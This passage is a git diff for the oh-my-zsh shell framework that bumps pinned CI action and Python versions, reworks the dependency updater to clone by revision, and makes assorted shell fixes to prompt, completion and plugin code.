fix(github): quote deprecation notice safely

BREAKING CHANGE: the github plugin is deprecated and will be removed in a future release. Use the gh plugin for GitHub CLI completion.

.github/dependabot.yml

@@ -6,9 +6,23 @@ updates:
       interval: "weekly"
       day: "sunday"
     labels: []
+    groups:
+      gha-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch
   - package-ecosystem: "pip"
     directory: "/.github/workflows/dependencies"
     schedule:
       interval: "weekly"
       day: "sunday"
     labels: []
+    groups:
+      py-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch

.github/dependencies.yml

@@ -12,14 +12,14 @@ dependencies:
   plugins/gradle:
     repo: gradle/gradle-completion
     branch: master
-    version: a9d7c822e42cc6a5b028b59e46cffcc8e7bc1134
+    version: e7c881dbef7462bc35ad05328397e1582fe25cb8
     precopy: |
       set -e
       find . ! -name _gradle ! -name LICENSE -delete
   plugins/history-substring-search:
     repo: zsh-users/zsh-history-substring-search
     branch: master
-    version: 87ce96b1862928d84b1afe7c173316614b30e301
+    version: 14c8d2e0ffaee98f2df9850b19944f32546fdea5
     precopy: |
       set -e
       rm -f zsh-history-substring-search.plugin.zsh
@@ -30,7 +30,7 @@ dependencies:
   plugins/kube-ps1:
     repo: jonmosco/kube-ps1
     branch: master
-    version: 9b41c091d5dd4a99e58cf58b5d98a4847937b1bb
+    version: 04af46f7fe888ad287abcab6699b9bb10234bc3d
     precopy: |
       set -e
       find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
@@ -46,9 +46,10 @@ dependencies:
   plugins/z:
     branch: master
     repo: agkozak/zsh-z
-    version: cf9225feebfae55e557e103e95ce20eca5eff270
+    version: 102fb78036ed76feedf623907483691777a1d510
     precopy: |
       set -e
+      rm -r tests
       test -e README.md && mv -f README.md MANUAL.md
     postcopy: |
       set -e

.github/workflows/dependencies.yml

@@ -4,6 +4,9 @@ on:
   schedule:
     - cron: "0 6 * * 0"
 
+permissions:
+  contents: read
+
 jobs:
   check:
     name: Check for updates
@@ -13,22 +16,22 @@ jobs:
       contents: write # this is needed to push commits and branches
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
 
       - name: Checkout
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
         with:
           fetch-depth: 0
       - name: Authenticate as @ohmyzsh
         id: generate-token
-        uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
         with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
           private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
       - name: Setup Python
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
         with:
           python-version: "3.12"
           cache: "pip"

.github/workflows/dependencies/requirements.txt

@@ -1,7 +1,7 @@
-certifi==2026.2.25
-charset-normalizer==3.4.4
-idna==3.11
+certifi==2026.7.22
+charset-normalizer==3.5.1
+idna==3.19
 PyYAML==6.0.3
-requests==2.32.5
+requests==2.34.2
 semver==3.0.4
-urllib3==2.6.3
+urllib3==2.7.0

.github/workflows/dependencies/updater.py

@@ -219,6 +219,7 @@ class Dependency:
             if status["has_updates"] is True:
                 short_sha = status["head_ref"][:8]
                 new_version = status["version"] if is_tag else short_sha
+                source_ref = new_version if is_tag else status["head_ref"]
 
                 try:
                     branch_name = f"update/{self.path}/{new_version}"
@@ -227,7 +228,7 @@ class Dependency:
                     branch = Git.checkout_or_create_branch(branch_name)
 
                     # Update dependency files
-                    self.__apply_upstream_changes()
+                    self.__apply_upstream_changes(source_ref)
 
                     if not Git.repo_is_clean():
                         # Update dependencies.yml file
@@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}).
         dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
         DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
 
-    def __apply_upstream_changes(self) -> None:
+    def __apply_upstream_changes(self, ref: str) -> None:
         # Patterns to ignore in copying files from upstream repo
         GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
 
@@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}).
         postcopy = self.values.get("postcopy")
 
         repo = self.values["repo"]
-        branch = self.values["branch"]
         remote_url = f"https://github.com/{repo}.git"
         repo_dir = os.path.join(TMP_DIR, repo)
 
         # Clone repository
-        Git.clone(remote_url, branch, repo_dir, reclone=True)
+        Git.clone(remote_url, ref, repo_dir, reclone=True)
 
         # Run precopy on tmp repo
         if precopy is not None:
@@ -348,7 +348,7 @@ class Git:
     default_branch = "master"
 
     @staticmethod
-    def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
+    def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
         # If repo needs to be fresh
         if reclone and os.path.exists(repo_dir):
             shutil.rmtree(repo_dir)
@@ -356,11 +356,11 @@ class Git:
         # Clone repo in tmp directory and checkout branch
         if not os.path.exists(repo_dir):
             print(
-                f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
+                f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
                 file=sys.stderr,
             )
             CommandRunner.run_or_fail(
-                ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
+                ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
                 stage="Clone",
             )
 
@@ -392,13 +392,15 @@ class Git:
         Returns `False` if the repo is dirty.
         """
         try:
-            CommandRunner.run_or_fail(
-                ["git", "diff", "--exit-code"], stage="CheckRepoClean"
+            result = CommandRunner.run_or_fail(
+                ["git", "status", "--porcelain", "--untracked-files=normal"],
+                stage="CheckRepoClean",
             )
-            return True
         except CommandRunner.Exception:
             return False
 
+        return result.stdout.strip() == b""
+
     @staticmethod
     def add_and_commit(scope: str, version: str) -> bool:
         """

.github/workflows/installer.yml

@@ -26,12 +26,12 @@ jobs:
           - macos-latest
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
 
       - name: Set up git repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install zsh
         if: runner.os == 'Linux'
         run: sudo apt-get update; sudo apt-get install zsh
@@ -47,12 +47,12 @@ jobs:
       - test
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
 
       - name: Checkout
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install Vercel CLI
         run: npm install -g vercel
       - name: Setup project and deploy

.github/workflows/main.yml

@@ -24,12 +24,12 @@ jobs:
     if: github.repository == 'ohmyzsh/ohmyzsh'
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
 
       - name: Set up git repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install zsh
         run: sudo apt-get update; sudo apt-get install zsh
       - name: Check syntax

.github/workflows/project.yml

@@ -17,14 +17,14 @@ jobs:
     if: github.repository == 'ohmyzsh/ohmyzsh'
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
       - name: Authenticate as @ohmyzsh
         id: generate-token
-        uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
         with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
           private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
       - name: Read project data
         env:

.github/workflows/scorecard.yml

@@ -36,30 +36,30 @@ jobs:
 
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
         with:
           egress-policy: audit
 
       - name: "Checkout code"
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
         with:
           persist-credentials: false
 
       - name: "Run analysis"
-        uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
+        uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
         with:
           results_file: results.sarif
           results_format: sarif
           publish_results: true
 
       - name: "Upload artifact"
-        uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
         with:
           name: SARIF file
           path: results.sarif
           retention-days: 5
 
       - name: "Upload to code-scanning"
-        uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4
+        uses: github/codeql-action/upload-sarif@cdf488f595d80d6e07e03d4674febd5ab45fa938 # v4.37.9
         with:
           sarif_file: results.sarif

.gitignore

@@ -4,7 +4,12 @@ custom/
 # temp files directories
 cache/
 log/
+
+# Vim swap/backup files
 *.swp
+*.swo
+
+# macOS system files
 .DS_Store
 
 # editor configs
@@ -13,3 +18,4 @@ log/
 
 # zcompile cached files
 *.zwc
+*.zwc.old

README.md

@@ -23,6 +23,14 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
 [![Mastodon Follow](https://img.shields.io/mastodon/follow/111169632522566717?label=%40ohmyzsh&domain=https%3A%2F%2Fmstdn.social&logo=mastodon&style=flat)](https://mstdn.social/@ohmyzsh)
 [![Discord server](https://img.shields.io/discord/642496866407284746)](https://discord.gg/ohmyzsh)
 
+<a href="https://commitgoods.com/collections/oh-my-zsh?utm_source=github">
+  <picture>
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.shopify.com/s/files/1/0101/8752/files/commitgoods-badge-stacked-navy-dark.svg">
+    <img src="https://cdn.shopify.com/s/files/1/0101/8752/files/commitgoods-badge-stacked-navy.svg" height="28" alt="Official merch on commitgoods.com">
+  </picture>
+</a>
+
+
 <details>
 <summary>Table of Contents</summary>
 
@@ -46,7 +54,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
     - [Manual Installation](#manual-installation)
   - [Installation Problems](#installation-problems)
   - [Custom Plugins And Themes](#custom-plugins-and-themes)
-  - [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
+  - [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
   - [Skip Aliases](#skip-aliases)
   - [Async git prompt](#async-git-prompt)
 - [Getting Updates](#getting-updates)
@@ -70,7 +78,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
 | O/S            | Status |
 | :------------- | :----: |
 | Android        |   ✅   |
-| freeBSD        |   ✅   |
+| FreeBSD        |   ✅   |
 | LCARS          |   🛸   |
 | Linux          |   ✅   |
 | macOS          |   ✅   |
@@ -349,7 +357,7 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
 If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
 same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
 
-### Enable GNU ls In macOS And freeBSD Systems
+### Enable GNU ls In macOS And FreeBSD Systems
 
 <a name="enable-gnu-ls"></a>
 

lib/cli.zsh

@@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
   next
 }
 
-# if multi flag is enabled and we didnt find a closing parenthesis,
+# if multi flag is enabled and we didn't find a closing parenthesis,
 # get the indentation level to match when adding plugins
 multi == 1 && /^[^#]*/ {
   indent=\"\"
@@ -519,7 +519,7 @@ function _omz::plugin::load {
     # Check if it has completion to reload compinit
     local -a comp_files
     comp_files=($base/_*(N))
-    has_completion=$(( $#comp_files > 0 ))
+    (( has_completion )) || has_completion=$(( $#comp_files > 0 ))
 
     # Load the plugin
     if [[ -f "$base/$plugin.plugin.zsh" ]]; then

lib/diagnostics.zsh

@@ -271,7 +271,7 @@ function _omz_diag_dump_check_core_commands() {
     unfunction unhash unlimit unset unsetopt vared wait whence where which zcompile
     zle zmodload zparseopts zregexparse zstyle )
   if is-at-least 5.1; then
-    reserved_word+=( declare export integer float local readonly typeset )
+    reserved_words+=( declare export integer float local readonly typeset )
   else
     builtins+=( declare export integer float local readonly typeset )
   fi

lib/git.zsh

@@ -36,7 +36,27 @@ function _omz_git_prompt_info() {
     && upstream=" -> ${upstream}"
   fi
 
-  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+}
+
+# Match an extended regular expression against a subject, forcing the C locale
+# only for the duration of the call.
+#
+# OHMYZSH-13330: zsh's "=~" operator delegates to the C library regex, which
+# aborts with REG_ILLSEQ when the subject contains an invalid byte sequence
+# under a multibyte locale (e.g. a filename with non-UTF-8 bytes in `git
+# status` output). Forcing the C locale makes every byte a valid character,
+# so the regex matching never fails that way. `git status --porcelain` is
+# locale-independent, so this does not change the parsed output.
+#
+# OHMYZSH-13985: the locale must be scoped to this function and not set for
+# the whole caller. Assigning LC_ALL makes zsh re-run setlocale() right away,
+# so leaving it set while the rest of the caller runs breaks multibyte
+# handling there — most visibly, `echo` refuses to expand Unicode escapes in
+# theme prompt symbols ("character not in range").
+function _omz_git_prompt_status_match() {
+  local -x LC_ALL=C
+  [[ "$1" =~ "$2" ]]
 }
 
 function _omz_git_prompt_status() {
@@ -104,11 +124,11 @@ function _omz_git_prompt_status() {
   status_lines=("${(@f)${status_text}}")
 
   # If the tracking line exists, get and parse it
-  if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then
+  if _omz_git_prompt_status_match "$status_lines[1]" "^## [^ ]+ \[(.*)\]"; then
     local branch_statuses
     branch_statuses=("${(@s/,/)match}")
     for branch_status in $branch_statuses; do
-      if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then
+      if ! _omz_git_prompt_status_match "$branch_status" "(behind|diverged|ahead) ([0-9]+)?"; then
         continue
       fi
       local last_parsed_status=$prefix_constant_map[$match[1]]
@@ -121,7 +141,7 @@ function _omz_git_prompt_status() {
     local status_constant="${prefix_constant_map[$status_prefix]}"
     local status_regex=$'(^|\n)'"$status_prefix"
 
-    if [[ "$status_text" =~ $status_regex ]]; then
+    if _omz_git_prompt_status_match "$status_text" "$status_regex"; then
       statuses_seen[$status_constant]=1
     fi
   done
@@ -162,13 +182,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
   # or any of the other prompt variables
   function _defer_async_git_register() {
     # Check if git_prompt_info is used in a prompt variable
-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
     *(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
       _omz_register_handler _omz_git_prompt_info
       ;;
     esac
 
-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
     *(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
       _omz_register_handler _omz_git_prompt_status
       ;;
@@ -255,7 +275,7 @@ function git_remote_status() {
         fi
 
         if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
-            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
+            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
         fi
 
         echo $git_remote_status

lib/prompt_info_functions.zsh

@@ -21,6 +21,7 @@ function chruby_prompt_info \
   azure_prompt_info \
   tf_prompt_info \
   conda_prompt_info \
+  go_prompt_info \
 {
   return 1
 }

lib/spectrum.zsh

@@ -14,10 +14,16 @@ FX=(
   reverse   "%{%}" no-reverse   "%{%}"
 )
 
-for color in {000..255}; do
-  FG[$color]="%{[38;5;${color}m%}"
-  BG[$color]="%{[48;5;${color}m%}"
-done
+# Build the tables with array operations instead of a 256-iteration loop
+() {
+  setopt localoptions noksharrays
+  local -a codes fg bg
+  codes=({000..255})
+  fg=( "%{"$'\e'"[38;5;"${^codes}"m%}" )
+  bg=( "%{"$'\e'"[48;5;"${^codes}"m%}" )
+  FG=( ${codes:^fg} )
+  BG=( ${codes:^bg} )
+}
 
 # Show all 256 colors with color number
 function spectrum_ls() {

lib/termsupport.zsh

@@ -31,7 +31,12 @@ function title {
       else
         # Try to use terminfo to set the title if the feature is available
         if (( ${+terminfo[fsl]} && ${+terminfo[tsl]} )); then
-          print -Pn "${terminfo[tsl]}$1${terminfo[fsl]}"
+          # Emit the capabilities with echoti so terminfo does its own parameter
+          # substitution: some terminals (vt320) take a column argument, and
+          # running prompt expansion over the capability string mangles it.
+          echoti tsl 0
+          print -Pn "$1"
+          echoti fsl
         fi
       fi
       ;;

oh-my-zsh.sh

@@ -64,7 +64,7 @@ if [[ ! -w "$ZSH_CACHE_DIR" ]]; then
 fi
 
 # Create cache and completions dir and add to $fpath
-mkdir -p "$ZSH_CACHE_DIR/completions"
+[[ -d "$ZSH_CACHE_DIR/completions" ]] || mkdir -p "$ZSH_CACHE_DIR/completions"
 (( ${fpath[(Ie)$ZSH_CACHE_DIR/completions]} )) || fpath=("$ZSH_CACHE_DIR/completions" $fpath)
 
 # Check for updates on initial load...
@@ -114,9 +114,17 @@ fi
 zcompdump_revision="#omz revision: $(builtin cd -q "$ZSH"; git rev-parse HEAD 2>/dev/null)"
 zcompdump_fpath="#omz fpath: $fpath"
 
+# Check whether the zcompdump file carries the current OMZ metadata lines
+_omz_compdump_has_metadata() {
+  local -a lines
+  [[ -r "$ZSH_COMPDUMP" ]] || return 1
+  lines=("${(@f)$(<"$ZSH_COMPDUMP")}")
+  (( ${lines[(Ie)$zcompdump_revision]} && ${lines[(Ie)$zcompdump_fpath]} ))
+}
+
 # Delete the zcompdump file if OMZ zcompdump metadata changed
-if ! command grep -q -Fx "$zcompdump_revision" "$ZSH_COMPDUMP" 2>/dev/null \
-   || ! command grep -q -Fx "$zcompdump_fpath" "$ZSH_COMPDUMP" 2>/dev/null; then
+zcompdump_refresh=0
+if ! _omz_compdump_has_metadata; then
   command rm -f "$ZSH_COMPDUMP"
   zcompdump_refresh=1
 fi
@@ -124,17 +132,18 @@ fi
 if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
   source "$ZSH/lib/compfix.zsh"
   # Load only from secure directories
+  # Reset the flag compinit sets when -i excludes insecure entries
+  unset _comp_secure
   compinit -i -d "$ZSH_COMPDUMP"
   # If completion insecurities exist, warn the user
-  handle_completion_insecurities &|
+  [[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
 else
   # If the user wants it, load from all found directories
   compinit -u -d "$ZSH_COMPDUMP"
 fi
 
-# Append zcompdump metadata if missing
-if (( $zcompdump_refresh )) \
-  || ! command grep -q -Fx "$zcompdump_revision" "$ZSH_COMPDUMP" 2>/dev/null; then
+# Append zcompdump metadata if missing (compinit may have regenerated the file)
+if (( zcompdump_refresh )) || ! _omz_compdump_has_metadata; then
   # Use `tee` in case the $ZSH_COMPDUMP filename is invalid, to silence the error
   # See https://github.com/ohmyzsh/ohmyzsh/commit/dd1a7269#commitcomment-39003489
   tee -a "$ZSH_COMPDUMP" &>/dev/null <<EOF
@@ -144,9 +153,12 @@ $zcompdump_fpath
 EOF
 fi
 unset zcompdump_revision zcompdump_fpath zcompdump_refresh
+unset -f _omz_compdump_has_metadata
 
 # zcompile the completion dump file if the .zwc is older or missing.
-if command mkdir "${ZSH_COMPDUMP}.lock" 2>/dev/null; then
+# Test that first so the lock directory and zrecompile are skipped when it's fresh.
+if [[ ! "${ZSH_COMPDUMP}.zwc" -nt "$ZSH_COMPDUMP" ]] \
+   && command mkdir "${ZSH_COMPDUMP}.lock" 2>/dev/null; then
   zrecompile -q -p "$ZSH_COMPDUMP"
   command rm -rf "$ZSH_COMPDUMP.zwc.old" "${ZSH_COMPDUMP}.lock"
 fi

plugins/1password/1password.plugin.zsh

@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_op" ]]; then
   _comps[op]=_op
 fi
 
-op completion zsh >| "$ZSH_CACHE_DIR/completions/_op" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_op"
+  zf_mv -f -- =( op completion zsh ) "$TMPPREFIX"
+} &|
 
 # Load opswd function
 autoload -Uz opswd

plugins/alias-finder/alias-finder.plugin.zsh

@@ -1,5 +1,5 @@
 alias-finder() {
-  local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter=""
+  local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""
 
   # build command and options
   for c in "$@"; do
@@ -31,7 +31,7 @@ alias-finder() {
 
   # find with alias and grep, removing last word each time until no more words
   while [[ $cmd != "" ]]; do
-    finder="'{0,1}$cmd$wordEnd"
+    finder="'?$cmd$wordEnd"
 
     # make filter to find only shorter results than current cmd
     if [[ $cheaper == true ]]; then

plugins/aliases/cheatsheet.py

@@ -6,7 +6,9 @@ import argparse
 
 def parse(line):
     left = line[0:line.find('=')].strip()
-    right = line[line.find('=')+1:].strip('\'"\n ')
+    right = line[line.find('=')+1:].strip('\n ')
+    if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
+        right = right[1:-1]
     try:
         cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
     except StopIteration:

plugins/ansible/ansible.plugin.zsh

@@ -1,13 +1,13 @@
 # Functions
-function ansible-version(){
+function ansible-version() {
     ansible --version
 }
 
-function ansible-role-init(){
-    if ! [ -z $1 ] ; then
+function ansible-role-init() {
+    if [[ -n "$1" ]]; then
         echo "Ansible Role : $1 Creating...."
-        ansible-galaxy init $1
-        tree $1
+        ansible-galaxy init "$1"
+        tree "$1"
     else
         echo "Usage : ansible-role-init <role name>"
         echo "Example : ansible-role-init role1"

plugins/archlinux/README.md

@@ -21,7 +21,7 @@ plugins=(... archlinux)
 | pacloc       | `pacman -Qi`                           | Display information about a package in the local database        |
 | paclocs      | `pacman -Qs`                           | Search for packages in the local database                        |
 | paclr        | `sudo pacman -Scc`                     | Remove all files from the cache                                  |
-| paclsorphans | `sudo pacman -Qdt`                     | List all orphaned packages                                       |
+| paclsorphans | `pacman -Qdt`                          | List all orphaned packages                                       |
 | pacmir       | `sudo pacman -Syy`                     | Force refresh of all package lists after updating mirrorlist     |
 | pacre        | `sudo pacman -R`                       | Remove packages, keeping its settings and dependencies           |
 | pacrem       | `sudo pacman -Rns`                     | Remove packages, including its settings and dependencies         |

plugins/archlinux/archlinux.plugin.zsh

@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
 alias paclocs='pacman -Qs'
 alias pacinsd='sudo pacman -S --asdeps'
 alias pacmir='sudo pacman -Syy'
-alias paclsorphans='sudo pacman -Qdt'
+alias paclsorphans='pacman -Qdt'
 alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
 alias pacfileupg='sudo pacman -Fy'
 alias pacfiles='pacman -F'

plugins/arduino-cli/arduino-cli.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_arduino-cli" ]]; then
 fi
 
 # Generate and load arduino-cli completion
-arduino-cli completion zsh >! "$ZSH_CACHE_DIR/completions/_arduino-cli" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_arduino-cli"
+  zf_mv -f -- =( arduino-cli completion zsh ) "$TMPPREFIX"
+} &|

plugins/argocd/argocd.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_argocd" ]]; then
   _comps[argocd]=_argocd
 fi
 
-argocd completion zsh >| "$ZSH_CACHE_DIR/completions/_argocd" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_argocd"
+  zf_mv -f -- =( argocd completion zsh ) "$TMPPREFIX"
+} &|

plugins/asdf/asdf.plugin.zsh

@@ -12,4 +12,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_asdf" ]]; then
   autoload -Uz _asdf
   _comps[asdf]=_asdf
 fi
-asdf completion zsh >| "$ZSH_CACHE_DIR/completions/_asdf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_asdf"
+  zf_mv -f -- =( asdf completion zsh ) "$TMPPREFIX"
+} &|

plugins/aws/aws.plugin.zsh

@@ -9,14 +9,14 @@ function agr() {
 # Update state file if enabled
 function _aws_update_state() {
   if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
     echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
   fi
 }
 
 function _aws_clear_state() {
   if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
     echo -n > "${AWS_STATE_FILE}"
   fi
 }
@@ -69,7 +69,7 @@ function asr() {
   local -a available_regions
   available_regions=($(aws_regions))
   if [[ -z "${available_regions[(r)$1]}" ]]; then
-    echo "${fg[red]}Available regions: \n$(aws_regions)"
+    echo "${fg[red]}Available regions: \n$(aws_regions)${reset_color}" >&2
     return 1
   fi
 
@@ -241,7 +241,7 @@ function aws_regions() {
 function aws_profiles() {
   aws --no-cli-pager configure list-profiles 2> /dev/null && return
   [[ -r "${AWS_CONFIG_FILE:-$HOME/.aws/config}" ]] || return 1
-  grep --color=never -Eo '\[.*\]' "${AWS_CONFIG_FILE:-$HOME/.aws/config}" | sed -E 's/^[[:space:]]*\[(profile)?[[:space:]]*([^[:space:]]+)\][[:space:]]*$/\2/g'
+  command grep -Eo '^[[:space:]]*\[[[:space:]]*(profile[[:space:]]+)?[^][:space:]]+[[:space:]]*\]' "${AWS_CONFIG_FILE:-$HOME/.aws/config}" | command sed -E 's/^[[:space:]]*\[[[:space:]]*(profile[[:space:]]+)?([^][:space:]]+)[[:space:]]*\]$/\2/'
 }
 
 function _aws_regions() {

plugins/bedtools/README.md

@@ -1,5 +1,5 @@
 # Bedtools plugin
 
-This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
+This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):
 
 * Adds autocomplete options for all bedtools sub commands.

plugins/bgnotify/bgnotify.plugin.zsh

@@ -67,6 +67,9 @@ function bgnotify_appid {
   elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
     local app_id=$(bgnotify_find_sway_appid)
     [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
+  elif [[ -n $NIRI_SOCKET ]]; then # niri
+    local app_id=$(bgnotify_find_niri_appid)
+    [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
   elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
